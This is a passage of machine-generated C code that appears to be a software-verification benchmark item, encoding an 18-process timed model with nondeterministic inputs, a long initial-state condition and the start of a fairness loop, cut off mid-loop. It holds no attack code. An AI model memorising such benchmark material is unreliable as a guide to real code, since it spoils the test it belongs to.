p4_l0 = __VERIFIER_nondet_bool();
p4_l2 = __VERIFIER_nondet_bool();
p4_l3 = __VERIFIER_nondet_bool();
p4_c = __VERIFIER_nondet_float();
p15_l1 = __VERIFIER_nondet_bool();
p15_l0 = __VERIFIER_nondet_bool();
p15_l2 = __VERIFIER_nondet_bool();
p15_l3 = __VERIFIER_nondet_bool();
p5_l1 = __VERIFIER_nondet_bool();
p15_c = __VERIFIER_nondet_float();
p5_l0 = __VERIFIER_nondet_bool();
p5_l2 = __VERIFIER_nondet_bool();
p5_l3 = __VERIFIER_nondet_bool();
bool __ok = (((((((p17_l3 && (( !p17_l2) && (( !p17_l0) && ( !p17_l1)))) || ((( !p17_l3) && (p17_l2 && (p17_l0 && p17_l1))) || ((( !p17_l3) && (p17_l2 && (p17_l1 && ( !p17_l0)))) || ((( !p17_l3) && (p17_l2 && (p17_l0 && ( !p17_l1)))) || ((( !p17_l3) && (p17_l2 && (( !p17_l0) && ( !p17_l1)))) || ((( !p17_l3) && (( !p17_l2) && (p17_l0 && p17_l1))) || ((( !p17_l3) && (( !p17_l2) && (p17_l1 && ( !p17_l0)))) || ((( !p17_l3) && (( !p17_l2) && (( !p17_l0) && ( !p17_l1)))) || (( !p17_l3) && (( !p17_l2) && (p17_l0 && ( !p17_l1)))))))))))) && ((( !p17_l3) && (( !p17_l2) && (( !p17_l0) && ( !p17_l1)))) && (p17_c == 0.0))) && ((p17_c <= proposed17) || ( !(((( !p17_l3) && (( !p17_l2) && (p17_l0 && ( !p17_l1)))) || (( !p17_l3) && (p17_l2 && (( !p17_l0) && ( !p17_l1))))) || ((( !p17_l3) && (p17_l2 && (p17_l0 && p17_l1))) || (p17_l3 && (( !p17_l2) && (( !p17_l0) && ( !p17_l1))))))))) && (((((p16_l3 && (( !p16_l2) && (( !p16_l0) && ( !p16_l1)))) || ((( !p16_l3) && (p16_l2 && (p16_l0 && p16_l1))) || ((( !p16_l3) && (p16_l2 && (p16_l1 && ( !p16_l0)))) || ((( !p16_l3) && (p16_l2 && (p16_l0 && ( !p16_l1)))) || ((( !p16_l3) && (p16_l2 && (( !p16_l0) && ( !p16_l1)))) || ((( !p16_l3) && (( !p16_l2) && (p16_l0 && p16_l1))) || ((( !p16_l3) && (( !p16_l2) && (p16_l1 && ( !p16_l0)))) || ((( !p16_l3) && (( !p16_l2) && (( !p16_l0) && ( !p16_l1)))) || (( !p16_l3) && (( !p16_l2) && (p16_l0 && ( !p16_l1)))))))))))) && ((( !p16_l3) && (( !p16_l2) && (( !p16_l0) && ( !p16_l1)))) && (p16_c == 0.0))) && ((p16_c <= proposed16) || ( !(((( !p16_l3) && (( !p16_l2) && (p16_l0 && ( !p16_l1)))) || (( !p16_l3) && (p16_l2 && (( !p16_l0) && ( !p16_l1))))) || ((( !p16_l3) && (p16_l2 && (p16_l0 && p16_l1))) || (p16_l3 && (( !p16_l2) && (( !p16_l0) && ( !p16_l1))))))))) && (((((p15_l3 && (( !p15_l2) && (( !p15_l0) && ( !p15_l1)))) || ((( !p15_l3) && (p15_l2 && (p15_l0 && p15_l1))) || ((( !p15_l3) && (p15_l2 && (p15_l1 && ( !p15_l0)))) || ((( !p15_l3) && (p15_l2 && (p15_l0 && ( !p15_l1)))) || ((( !p15_l3) && (p15_l2 && (( !p15_l0) && ( !p15_l1)))) || ((( !p15_l3) && (( !p15_l2) && (p15_l0 && p15_l1))) || ((( !p15_l3) && (( !p15_l2) && (p15_l1 && ( !p15_l0)))) || ((( !p15_l3) && (( !p15_l2) && (( !p15_l0) && ( !p15_l1)))) || (( !p15_l3) && (( !p15_l2) && (p15_l0 && ( !p15_l1)))))))))))) && ((( !p15_l3) && (( !p15_l2) && (( !p15_l0) && ( !p15_l1)))) && (p15_c == 0.0))) && ((p15_c <= proposed15) || ( !(((( !p15_l3) && (( !p15_l2) && (p15_l0 && ( !p15_l1)))) || (( !p15_l3) && (p15_l2 && (( !p15_l0) && ( !p15_l1))))) || ((( !p15_l3) && (p15_l2 && (p15_l0 && p15_l1))) || (p15_l3 && (( !p15_l2) && (( !p15_l0) && ( !p15_l1))))))))) && (((((p14_l3 && (( !p14_l2) && (( !p14_l0) && ( !p14_l1)))) || ((( !p14_l3) && (p14_l2 && (p14_l0 && p14_l1))) || ((( !p14_l3) && (p14_l2 && (p14_l1 && ( !p14_l0)))) || ((( !p14_l3) && (p14_l2 && (p14_l0 && ( !p14_l1)))) || ((( !p14_l3) && (p14_l2 && (( !p14_l0) && ( !p14_l1)))) || ((( !p14_l3) && (( !p14_l2) && (p14_l0 && p14_l1))) || ((( !p14_l3) && (( !p14_l2) && (p14_l1 && ( !p14_l0)))) || ((( !p14_l3) && (( !p14_l2) && (( !p14_l0) && ( !p14_l1)))) || (( !p14_l3) && (( !p14_l2) && (p14_l0 && ( !p14_l1)))))))))))) && ((( !p14_l3) && (( !p14_l2) && (( !p14_l0) && ( !p14_l1)))) && (p14_c == 0.0))) && ((p14_c <= proposed14) || ( !(((( !p14_l3) && (( !p14_l2) && (p14_l0 && ( !p14_l1)))) || (( !p14_l3) && (p14_l2 && (( !p14_l0) && ( !p14_l1))))) || ((( !p14_l3) && (p14_l2 && (p14_l0 && p14_l1))) || (p14_l3 && (( !p14_l2) && (( !p14_l0) && ( !p14_l1))))))))) && (((((p13_l3 && (( !p13_l2) && (( !p13_l0) && ( !p13_l1)))) || ((( !p13_l3) && (p13_l2 && (p13_l0 && p13_l1))) || ((( !p13_l3) && (p13_l2 && (p13_l1 && ( !p13_l0)))) || ((( !p13_l3) && (p13_l2 && (p13_l0 && ( !p13_l1)))) || ((( !p13_l3) && (p13_l2 && (( !p13_l0) && ( !p13_l1)))) || ((( !p13_l3) && (( !p13_l2) && (p13_l0 && p13_l1))) || ((( !p13_l3) && (( !p13_l2) && (p13_l1 && ( !p13_l0)))) || ((( !p13_l3) && (( !p13_l2) && (( !p13_l0) && ( !p13_l1)))) || (( !p13_l3) && (( !p13_l2) && (p13_l0 && ( !p13_l1)))))))))))) && ((( !p13_l3) && (( !p13_l2) && (( !p13_l0) && ( !p13_l1)))) && (p13_c == 0.0))) && ((p13_c <= proposed13) || ( !(((( !p13_l3) && (( !p13_l2) && (p13_l0 && ( !p13_l1)))) || (( !p13_l3) && (p13_l2 && (( !p13_l0) && ( !p13_l1))))) || ((( !p13_l3) && (p13_l2 && (p13_l0 && p13_l1))) || (p13_l3 && (( !p13_l2) && (( !p13_l0) && ( !p13_l1))))))))) && (((((p12_l3 && (( !p12_l2) && (( !p12_l0) && ( !p12_l1)))) || ((( !p12_l3) && (p12_l2 && (p12_l0 && p12_l1))) || ((( !p12_l3) && (p12_l2 && (p12_l1 && ( !p12_l0)))) || ((( !p12_l3) && (p12_l2 && (p12_l0 && ( !p12_l1)))) || ((( !p12_l3) && (p12_l2 && (( !p12_l0) && ( !p12_l1)))) || ((( !p12_l3) && (( !p12_l2) && (p12_l0 && p12_l1))) || ((( !p12_l3) && (( !p12_l2) && (p12_l1 && ( !p12_l0)))) || ((( !p12_l3) && (( !p12_l2) && (( !p12_l0) && ( !p12_l1)))) || (( !p12_l3) && (( !p12_l2) && (p12_l0 && ( !p12_l1)))))))))))) && ((( !p12_l3) && (( !p12_l2) && (( !p12_l0) && ( !p12_l1)))) && (p12_c == 0.0))) && ((p12_c <= proposed12) || ( !(((( !p12_l3) && (( !p12_l2) && (p12_l0 && ( !p12_l1)))) || (( !p12_l3) && (p12_l2 && (( !p12_l0) && ( !p12_l1))))) || ((( !p12_l3) && (p12_l2 && (p12_l0 && p12_l1))) || (p12_l3 && (( !p12_l2) && (( !p12_l0) && ( !p12_l1))))))))) && (((((p11_l3 && (( !p11_l2) && (( !p11_l0) && ( !p11_l1)))) || ((( !p11_l3) && (p11_l2 && (p11_l0 && p11_l1))) || ((( !p11_l3) && (p11_l2 && (p11_l1 && ( !p11_l0)))) || ((( !p11_l3) && (p11_l2 && (p11_l0 && ( !p11_l1)))) || ((( !p11_l3) && (p11_l2 && (( !p11_l0) && ( !p11_l1)))) || ((( !p11_l3) && (( !p11_l2) && (p11_l0 && p11_l1))) || ((( !p11_l3) && (( !p11_l2) && (p11_l1 && ( !p11_l0)))) || ((( !p11_l3) && (( !p11_l2) && (( !p11_l0) && ( !p11_l1)))) || (( !p11_l3) && (( !p11_l2) && (p11_l0 && ( !p11_l1)))))))))))) && ((( !p11_l3) && (( !p11_l2) && (( !p11_l0) && ( !p11_l1)))) && (p11_c == 0.0))) && ((p11_c <= proposed11) || ( !(((( !p11_l3) && (( !p11_l2) && (p11_l0 && ( !p11_l1)))) || (( !p11_l3) && (p11_l2 && (( !p11_l0) && ( !p11_l1))))) || ((( !p11_l3) && (p11_l2 && (p11_l0 && p11_l1))) || (p11_l3 && (( !p11_l2) && (( !p11_l0) && ( !p11_l1))))))))) && (((((p10_l3 && (( !p10_l2) && (( !p10_l0) && ( !p10_l1)))) || ((( !p10_l3) && (p10_l2 && (p10_l0 && p10_l1))) || ((( !p10_l3) && (p10_l2 && (p10_l1 && ( !p10_l0)))) || ((( !p10_l3) && (p10_l2 && (p10_l0 && ( !p10_l1)))) || ((( !p10_l3) && (p10_l2 && (( !p10_l0) && ( !p10_l1)))) || ((( !p10_l3) && (( !p10_l2) && (p10_l0 && p10_l1))) || ((( !p10_l3) && (( !p10_l2) && (p10_l1 && ( !p10_l0)))) || ((( !p10_l3) && (( !p10_l2) && (( !p10_l0) && ( !p10_l1)))) || (( !p10_l3) && (( !p10_l2) && (p10_l0 && ( !p10_l1)))))))))))) && ((( !p10_l3) && (( !p10_l2) && (( !p10_l0) && ( !p10_l1)))) && (p10_c == 0.0))) && ((p10_c <= proposed10) || ( !(((( !p10_l3) && (( !p10_l2) && (p10_l0 && ( !p10_l1)))) || (( !p10_l3) && (p10_l2 && (( !p10_l0) && ( !p10_l1))))) || ((( !p10_l3) && (p10_l2 && (p10_l0 && p10_l1))) || (p10_l3 && (( !p10_l2) && (( !p10_l0) && ( !p10_l1))))))))) && (((((p9_l3 && (( !p9_l2) && (( !p9_l0) && ( !p9_l1)))) || ((( !p9_l3) && (p9_l2 && (p9_l0 && p9_l1))) || ((( !p9_l3) && (p9_l2 && (p9_l1 && ( !p9_l0)))) || ((( !p9_l3) && (p9_l2 && (p9_l0 && ( !p9_l1)))) || ((( !p9_l3) && (p9_l2 && (( !p9_l0) && ( !p9_l1)))) || ((( !p9_l3) && (( !p9_l2) && (p9_l0 && p9_l1))) || ((( !p9_l3) && (( !p9_l2) && (p9_l1 && ( !p9_l0)))) || ((( !p9_l3) && (( !p9_l2) && (( !p9_l0) && ( !p9_l1)))) || (( !p9_l3) && (( !p9_l2) && (p9_l0 && ( !p9_l1)))))))))))) && ((( !p9_l3) && (( !p9_l2) && (( !p9_l0) && ( !p9_l1)))) && (p9_c == 0.0))) && ((p9_c <= proposed9) || ( !(((( !p9_l3) && (( !p9_l2) && (p9_l0 && ( !p9_l1)))) || (( !p9_l3) && (p9_l2 && (( !p9_l0) && ( !p9_l1))))) || ((( !p9_l3) && (p9_l2 && (p9_l0 && p9_l1))) || (p9_l3 && (( !p9_l2) && (( !p9_l0) && ( !p9_l1))))))))) && (((((p8_l3 && (( !p8_l2) && (( !p8_l0) && ( !p8_l1)))) || ((( !p8_l3) && (p8_l2 && (p8_l0 && p8_l1))) || ((( !p8_l3) && (p8_l2 && (p8_l1 && ( !p8_l0)))) || ((( !p8_l3) && (p8_l2 && (p8_l0 && ( !p8_l1)))) || ((( !p8_l3) && (p8_l2 && (( !p8_l0) && ( !p8_l1)))) || ((( !p8_l3) && (( !p8_l2) && (p8_l0 && p8_l1))) || ((( !p8_l3) && (( !p8_l2) && (p8_l1 && ( !p8_l0)))) || ((( !p8_l3) && (( !p8_l2) && (( !p8_l0) && ( !p8_l1)))) || (( !p8_l3) && (( !p8_l2) && (p8_l0 && ( !p8_l1)))))))))))) && ((( !p8_l3) && (( !p8_l2) && (( !p8_l0) && ( !p8_l1)))) && (p8_c == 0.0))) && ((p8_c <= proposed8) || ( !(((( !p8_l3) && (( !p8_l2) && (p8_l0 && ( !p8_l1)))) || (( !p8_l3) && (p8_l2 && (( !p8_l0) && ( !p8_l1))))) || ((( !p8_l3) && (p8_l2 && (p8_l0 && p8_l1))) || (p8_l3 && (( !p8_l2) && (( !p8_l0) && ( !p8_l1))))))))) && (((((p7_l3 && (( !p7_l2) && (( !p7_l0) && ( !p7_l1)))) || ((( !p7_l3) && (p7_l2 && (p7_l0 && p7_l1))) || ((( !p7_l3) && (p7_l2 && (p7_l1 && ( !p7_l0)))) || ((( !p7_l3) && (p7_l2 && (p7_l0 && ( !p7_l1)))) || ((( !p7_l3) && (p7_l2 && (( !p7_l0) && ( !p7_l1)))) || ((( !p7_l3) && (( !p7_l2) && (p7_l0 && p7_l1))) || ((( !p7_l3) && (( !p7_l2) && (p7_l1 && ( !p7_l0)))) || ((( !p7_l3) && (( !p7_l2) && (( !p7_l0) && ( !p7_l1)))) || (( !p7_l3) && (( !p7_l2) && (p7_l0 && ( !p7_l1)))))))))))) && ((( !p7_l3) && (( !p7_l2) && (( !p7_l0) && ( !p7_l1)))) && (p7_c == 0.0))) && ((p7_c <= proposed7) || ( !(((( !p7_l3) && (( !p7_l2) && (p7_l0 && ( !p7_l1)))) || (( !p7_l3) && (p7_l2 && (( !p7_l0) && ( !p7_l1))))) || ((( !p7_l3) && (p7_l2 && (p7_l0 && p7_l1))) || (p7_l3 && (( !p7_l2) && (( !p7_l0) && ( !p7_l1))))))))) && (((((p6_l3 && (( !p6_l2) && (( !p6_l0) && ( !p6_l1)))) || ((( !p6_l3) && (p6_l2 && (p6_l0 && p6_l1))) || ((( !p6_l3) && (p6_l2 && (p6_l1 && ( !p6_l0)))) || ((( !p6_l3) && (p6_l2 && (p6_l0 && ( !p6_l1)))) || ((( !p6_l3) && (p6_l2 && (( !p6_l0) && ( !p6_l1)))) || ((( !p6_l3) && (( !p6_l2) && (p6_l0 && p6_l1))) || ((( !p6_l3) && (( !p6_l2) && (p6_l1 && ( !p6_l0)))) || ((( !p6_l3) && (( !p6_l2) && (( !p6_l0) && ( !p6_l1)))) || (( !p6_l3) && (( !p6_l2) && (p6_l0 && ( !p6_l1)))))))))))) && ((( !p6_l3) && (( !p6_l2) && (( !p6_l0) && ( !p6_l1)))) && (p6_c == 0.0))) && ((p6_c <= proposed6) || ( !(((( !p6_l3) && (( !p6_l2) && (p6_l0 && ( !p6_l1)))) || (( !p6_l3) && (p6_l2 && (( !p6_l0) && ( !p6_l1))))) || ((( !p6_l3) && (p6_l2 && (p6_l0 && p6_l1))) || (p6_l3 && (( !p6_l2) && (( !p6_l0) && ( !p6_l1))))))))) && (((((p5_l3 && (( !p5_l2) && (( !p5_l0) && ( !p5_l1)))) || ((( !p5_l3) && (p5_l2 && (p5_l0 && p5_l1))) || ((( !p5_l3) && (p5_l2 && (p5_l1 && ( !p5_l0)))) || ((( !p5_l3) && (p5_l2 && (p5_l0 && ( !p5_l1)))) || ((( !p5_l3) && (p5_l2 && (( !p5_l0) && ( !p5_l1)))) || ((( !p5_l3) && (( !p5_l2) && (p5_l0 && p5_l1))) || ((( !p5_l3) && (( !p5_l2) && (p5_l1 && ( !p5_l0)))) || ((( !p5_l3) && (( !p5_l2) && (( !p5_l0) && ( !p5_l1)))) || (( !p5_l3) && (( !p5_l2) && (p5_l0 && ( !p5_l1)))))))))))) && ((( !p5_l3) && (( !p5_l2) && (( !p5_l0) && ( !p5_l1)))) && (p5_c == 0.0))) && ((p5_c <= proposed5) || ( !(((( !p5_l3) && (( !p5_l2) && (p5_l0 && ( !p5_l1)))) || (( !p5_l3) && (p5_l2 && (( !p5_l0) && ( !p5_l1))))) || ((( !p5_l3) && (p5_l2 && (p5_l0 && p5_l1))) || (p5_l3 && (( !p5_l2) && (( !p5_l0) && ( !p5_l1))))))))) && (((((p4_l3 && (( !p4_l2) && (( !p4_l0) && ( !p4_l1)))) || ((( !p4_l3) && (p4_l2 && (p4_l0 && p4_l1))) || ((( !p4_l3) && (p4_l2 && (p4_l1 && ( !p4_l0)))) || ((( !p4_l3) && (p4_l2 && (p4_l0 && ( !p4_l1)))) || ((( !p4_l3) && (p4_l2 && (( !p4_l0) && ( !p4_l1)))) || ((( !p4_l3) && (( !p4_l2) && (p4_l0 && p4_l1))) || ((( !p4_l3) && (( !p4_l2) && (p4_l1 && ( !p4_l0)))) || ((( !p4_l3) && (( !p4_l2) && (( !p4_l0) && ( !p4_l1)))) || (( !p4_l3) && (( !p4_l2) && (p4_l0 && ( !p4_l1)))))))))))) && ((( !p4_l3) && (( !p4_l2) && (( !p4_l0) && ( !p4_l1)))) && (p4_c == 0.0))) && ((p4_c <= proposed4) || ( !(((( !p4_l3) && (( !p4_l2) && (p4_l0 && ( !p4_l1)))) || (( !p4_l3) && (p4_l2 && (( !p4_l0) && ( !p4_l1))))) || ((( !p4_l3) && (p4_l2 && (p4_l0 && p4_l1))) || (p4_l3 && (( !p4_l2) && (( !p4_l0) && ( !p4_l1))))))))) && (((((p3_l3 && (( !p3_l2) && (( !p3_l0) && ( !p3_l1)))) || ((( !p3_l3) && (p3_l2 && (p3_l0 && p3_l1))) || ((( !p3_l3) && (p3_l2 && (p3_l1 && ( !p3_l0)))) || ((( !p3_l3) && (p3_l2 && (p3_l0 && ( !p3_l1)))) || ((( !p3_l3) && (p3_l2 && (( !p3_l0) && ( !p3_l1)))) || ((( !p3_l3) && (( !p3_l2) && (p3_l0 && p3_l1))) || ((( !p3_l3) && (( !p3_l2) && (p3_l1 && ( !p3_l0)))) || ((( !p3_l3) && (( !p3_l2) && (( !p3_l0) && ( !p3_l1)))) || (( !p3_l3) && (( !p3_l2) && (p3_l0 && ( !p3_l1)))))))))))) && ((( !p3_l3) && (( !p3_l2) && (( !p3_l0) && ( !p3_l1)))) && (p3_c == 0.0))) && ((p3_c <= proposed3) || ( !(((( !p3_l3) && (( !p3_l2) && (p3_l0 && ( !p3_l1)))) || (( !p3_l3) && (p3_l2 && (( !p3_l0) && ( !p3_l1))))) || ((( !p3_l3) && (p3_l2 && (p3_l0 && p3_l1))) || (p3_l3 && (( !p3_l2) && (( !p3_l0) && ( !p3_l1))))))))) && (((((p2_l3 && (( !p2_l2) && (( !p2_l0) && ( !p2_l1)))) || ((( !p2_l3) && (p2_l2 && (p2_l0 && p2_l1))) || ((( !p2_l3) && (p2_l2 && (p2_l1 && ( !p2_l0)))) || ((( !p2_l3) && (p2_l2 && (p2_l0 && ( !p2_l1)))) || ((( !p2_l3) && (p2_l2 && (( !p2_l0) && ( !p2_l1)))) || ((( !p2_l3) && (( !p2_l2) && (p2_l0 && p2_l1))) || ((( !p2_l3) && (( !p2_l2) && (p2_l1 && ( !p2_l0)))) || ((( !p2_l3) && (( !p2_l2) && (( !p2_l0) && ( !p2_l1)))) || (( !p2_l3) && (( !p2_l2) && (p2_l0 && ( !p2_l1)))))))))))) && ((( !p2_l3) && (( !p2_l2) && (( !p2_l0) && ( !p2_l1)))) && (p2_c == 0.0))) && ((p2_c <= proposed2) || ( !(((( !p2_l3) && (( !p2_l2) && (p2_l0 && ( !p2_l1)))) || (( !p2_l3) && (p2_l2 && (( !p2_l0) && ( !p2_l1))))) || ((( !p2_l3) && (p2_l2 && (p2_l0 && p2_l1))) || (p2_l3 && (( !p2_l2) && (( !p2_l0) && ( !p2_l1))))))))) && (((((p1_l3 && (( !p1_l2) && (( !p1_l0) && ( !p1_l1)))) || ((( !p1_l3) && (p1_l2 && (p1_l0 && p1_l1))) || ((( !p1_l3) && (p1_l2 && (p1_l1 && ( !p1_l0)))) || ((( !p1_l3) && (p1_l2 && (p1_l0 && ( !p1_l1)))) || ((( !p1_l3) && (p1_l2 && (( !p1_l0) && ( !p1_l1)))) || ((( !p1_l3) && (( !p1_l2) && (p1_l0 && p1_l1))) || ((( !p1_l3) && (( !p1_l2) && (p1_l1 && ( !p1_l0)))) || ((( !p1_l3) && (( !p1_l2) && (( !p1_l0) && ( !p1_l1)))) || (( !p1_l3) && (( !p1_l2) && (p1_l0 && ( !p1_l1)))))))))))) && ((( !p1_l3) && (( !p1_l2) && (( !p1_l0) && ( !p1_l1)))) && (p1_c == 0.0))) && ((p1_c <= proposed1) || ( !(((( !p1_l3) && (( !p1_l2) && (p1_l0 && ( !p1_l1)))) || (( !p1_l3) && (p1_l2 && (( !p1_l0) && ( !p1_l1))))) || ((( !p1_l3) && (p1_l2 && (p1_l0 && p1_l1))) || (p1_l3 && (( !p1_l2) && (( !p1_l0) && ( !p1_l1))))))))) && (((((p0_l3 && (( !p0_l2) && (( !p0_l0) && ( !p0_l1)))) || ((( !p0_l3) && (p0_l2 && (p0_l0 && p0_l1))) || ((( !p0_l3) && (p0_l2 && (p0_l1 && ( !p0_l0)))) || ((( !p0_l3) && (p0_l2 && (p0_l0 && ( !p0_l1)))) || ((( !p0_l3) && (p0_l2 && (( !p0_l0) && ( !p0_l1)))) || ((( !p0_l3) && (( !p0_l2) && (p0_l0 && p0_l1))) || ((( !p0_l3) && (( !p0_l2) && (p0_l1 && ( !p0_l0)))) || ((( !p0_l3) && (( !p0_l2) && (( !p0_l0) && ( !p0_l1)))) || (( !p0_l3) && (( !p0_l2) && (p0_l0 && ( !p0_l1)))))))))))) && ((( !p0_l3) && (( !p0_l2) && (( !p0_l0) && ( !p0_l1)))) && (p0_c == 0.0))) && ((p0_c <= proposed0) || ( !(((( !p0_l3) && (( !p0_l2) && (p0_l0 && ( !p0_l1)))) || (( !p0_l3) && (p0_l2 && (( !p0_l0) && ( !p0_l1))))) || ((( !p0_l3) && (p0_l2 && (p0_l0 && p0_l1))) || (p0_l3 && (( !p0_l2) && (( !p0_l0) && ( !p0_l1))))))))) && (((((((((((((((((((((((((((((((((((((((inc_max_prop && ((v1 == 18) || ((v1 == 17) || ((v1 == 16) || ((v1 == 15) || ((v1 == 14) || ((v1 == 13) || ((v1 == 12) || ((v1 == 11) || ((v1 == 10) || ((v1 == 9) || ((v1 == 8) || ((v1 == 7) || ((v1 == 6) || ((v1 == 5) || ((v1 == 4) || ((v1 == 3) || ((v1 == 2) || ((v1 == 0) || (v1 == 1)))))))))))))))))))) && (proposed0 == 16.0)) && (proposed1 == 16.0)) && (proposed2 == 16.0)) && (proposed3 == 16.0)) && (proposed4 == 16.0)) && (proposed5 == 16.0)) && (proposed6 == 16.0)) && (proposed7 == 16.0)) && (proposed8 == 16.0)) && (proposed9 == 16.0)) && (proposed10 == 16.0)) && (proposed11 == 16.0)) && (proposed12 == 16.0)) && (proposed13 == 16.0)) && (proposed14 == 16.0)) && (proposed15 == 16.0)) && (proposed16 == 16.0)) && (proposed17 == 16.0)) && (0.0 <= delta)) && (( !(proposed0 <= 0.0)) && (proposed0 <= max_prop))) && (( !(proposed1 <= 0.0)) && (proposed1 <= max_prop))) && (( !(proposed2 <= 0.0)) && (proposed2 <= max_prop))) && (( !(proposed3 <= 0.0)) && (proposed3 <= max_prop))) && (( !(proposed4 <= 0.0)) && (proposed4 <= max_prop))) && (( !(proposed5 <= 0.0)) && (proposed5 <= max_prop))) && (( !(proposed6 <= 0.0)) && (proposed6 <= max_prop))) && (( !(proposed7 <= 0.0)) && (proposed7 <= max_prop))) && (( !(proposed8 <= 0.0)) && (proposed8 <= max_prop))) && (( !(proposed9 <= 0.0)) && (proposed9 <= max_prop))) && (( !(proposed10 <= 0.0)) && (proposed10 <= max_prop))) && (( !(proposed11 <= 0.0)) && (proposed11 <= max_prop))) && (( !(proposed12 <= 0.0)) && (proposed12 <= max_prop))) && (( !(proposed13 <= 0.0)) && (proposed13 <= max_prop))) && (( !(proposed14 <= 0.0)) && (proposed14 <= max_prop))) && (( !(proposed15 <= 0.0)) && (proposed15 <= max_prop))) && (( !(proposed16 <= 0.0)) && (proposed16 <= max_prop))) && (( !(proposed17 <= 0.0)) && (proposed17 <= max_prop))) && ((((((((((((((((((max_prop == proposed0) || (max_prop == proposed1)) || (max_prop == proposed2)) || (max_prop == proposed3)) || (max_prop == proposed4)) || (max_prop == proposed5)) || (max_prop == proposed6)) || (max_prop == proposed7)) || (max_prop == proposed8)) || (max_prop == proposed9)) || (max_prop == proposed10)) || (max_prop == proposed11)) || (max_prop == proposed12)) || (max_prop == proposed13)) || (max_prop == proposed14)) || (max_prop == proposed15)) || (max_prop == proposed16)) || (max_prop == proposed17))))))))))))))))))))) && (delta == _diverge_delta)) && ((((( !((_EL_U_4609 || ( !(( !inc_max_prop) || _EL_U_4607))) || (_EL_U_4604 || ( !((1.0 <= _diverge_delta) || _EL_U_4602))))) && ( !_J4629)) && ( !_J4635)) && ( !_J4641)) && ( !_J4647)));
while (__steps_to_fair >= 0 && __ok) {
if ((((_J4629 && _J4635) && _J4641) && _J4647)) {
__steps_to_fair = __VERIFIER_nondet_int();
} else {
__steps_to_fair--;
}
_x__diverge_delta = __VERIFIER_nondet_float();
_x_delta = __VERIFIER_nondet_float();
_x_proposed17 = __VERIFIER_nondet_float();
_x_p5_c = __VERIFIER_nondet_float();
_x_max_prop = __VERIFIER_nondet_float();
_x_proposed16 = __VERIFIER_nondet_float();
_x_p16_l1 = __VERIFIER_nondet_bool();
_x_proposed15 = __VERIFIER_nondet_float();
_x_p16_l0 = __VERIFIER_nondet_bool();
_x_proposed14 = __VERIFIER_nondet_float();
_x_p16_l2 = __VERIFIER_nondet_bool();
_x_proposed13 = __VERIFIER_nondet_float();
_x_proposed12 = __VERIFIER_nondet_float();
_x_p16_l3 = __VERIFIER_nondet_bool();
_x_proposed11 = __VERIFIER_nondet_float();
_x_proposed10 = __VERIFIER_nondet_float();
_x_proposed9 = __VERIFIER_nondet_float();
_x_proposed8 = __VERIFIER_nondet_float();
_x_proposed7 = __VERIFIER_nondet_float();
_x_proposed6 = __VERIFIER_nondet_float();
_x_proposed5 = __VERIFIER_nondet_float();
_x_p6_l1 = __VERIFIER_nondet_bool();
_x_p16_c = __VERIFIER_nondet_float();
_x_proposed4 = __VERIFIER_nondet_float();
_x_p6_l0 = __VERIFIER_nondet_bool();
_x_proposed3 = __VERIFIER_nondet_float();
_x_p6_l2 = __VERIFIER_nondet_bool();
_x_proposed2 = __VERIFIER_nondet_float();
_x_proposed1 = __VERIFIER_nondet_float();
_x_p6_l3 = __VERIFIER_nondet_bool();
_x_proposed0 = __VERIFIER_nondet_float();
_x_p6_c = __VERIFIER_nondet_float();
_x_p17_l1 = __VERIFIER_nondet_bool();
_x_p17_l0 = __VERIFIER_nondet_bool();
_x_p17_l2 = __VERIFIER_nondet_bool();
_x_p17_l3 = __VERIFIER_nondet_bool();
_x_p7_l1 = __VERIFIER_nondet_bool();
_x_p17_c = __VERIFIER_nondet_float();
_x_p7_l0 = __VERIFIER_nondet_bool();
_x_p7_l2 = __VERIFIER_nondet_bool();
_x_p7_l3 = __VERIFIER_nondet_bool();
_x_p7_c = __VERIFIER_nondet_float();
_x__J4647 = __VERIFIER_nondet_bool();
_x__J4641 = __VERIFIER_nondet_bool();
_x__J4635 = __VERIFIER_nondet_bool();
_x__J4629 = __VERIFIER_nondet_bool();
_x__EL_U_4602 = __VERIFIER_nondet_bool();
_x__EL_U_4604 = __VERIFIER_nondet_bool();
_x__EL_U_4607 = __VERIFIER_nondet_bool();
_x__EL_U_4609 = __VERIFIER_nondet_bool();
_x_p8_l1 = __VERIFIER_nondet_bool();
_x_p8_l0 = __VERIFIER_nondet_bool();
_x_p8_l2 = __VERIFIER_nondet_bool();
_x_p8_l3 = __VERIFIER_nondet_bool();
_x_p8_c = __VERIFIER_nondet_float();
_x_p1_evt = __VERIFIER_nondet_bool();
_x_v1 = __VERIFIER_nondet_int();
_x_p0_evt = __VERIFIER_nondet_bool();
_x_p2_evt = __VERIFIER_nondet_bool();
_x_p3_evt = __VERIFIER_nondet_bool();
_x_p4_evt = __VERIFIER_nondet_bool();
_x_p5_evt = __VERIFIER_nondet_bool();
_x_p6_evt = __VERIFIER_nondet_bool();
_x_p7_evt = __VERIFIER_nondet_bool();
_x_p8_evt = __VERIFIER_nondet_bool();
_x_p9_l1 = __VERIFIER_nondet_bool();
_x_p9_l0 = __VERIFIER_nondet_bool();
_x_p9_evt = __VERIFIER_nondet_bool();
_x_p9_l2 = __VERIFIER_nondet_bool();
_x_p10_evt = __VERIFIER_nondet_bool();
_x_p9_l3 = __VERIFIER_nondet_bool();
_x_p11_evt = __VERIFIER_nondet_bool();
_x_p12_evt = __VERIFIER_nondet_bool();
_x_p13_evt = __VERIFIER_nondet_bool();
_x_p14_evt = __VERIFIER_nondet_bool();
_x_p15_evt = __VERIFIER_nondet_bool();
_x_p9_c = __VERIFIER_nondet_float();
_x_p16_evt = __VERIFIER_nondet_bool();
_x_p17_evt = __VERIFIER_nondet_bool();
_x_inc_max_prop = __VERIFIER_nondet_bool();
_x_v2 = __VERIFIER_nondet_bool();
_x_p10_l1 = __VERIFIER_nondet_bool();
_x_p10_l0 = __VERIFIER_nondet_bool();
_x_p10_l2 = __VERIFIER_nondet_bool();
_x_p10_l3 = __VERIFIER_nondet_bool();
_x_p0_l1 = __VERIFIER_nondet_bool();
_x_p10_c = __VERIFIER_nondet_float();
_x_p0_l0 = __VERIFIER_nondet_bool();
_x_p0_l2 = __VERIFIER_nondet_bool();
_x_p0_l3 = __VERIFIER_nondet_bool();
_x_p0_c = __VERIFIER_nondet_float();
_x_p11_l1 = __VERIFIER_nondet_bool();
_x_p11_l0 = __VERIFIER_nondet_bool();
_x_p11_l2 = __VERIFIER_nondet_bool();
_x_p11_l3 = __VERIFIER_nondet_bool();
_x_p1_l1 = __VERIFIER_nondet_bool();
_x_p11_c = __VERIFIER_nondet_float();
_x_p1_l0 = __VERIFIER_nondet_bool();
_x_p1_l2 = __VERIFIER_nondet_bool();
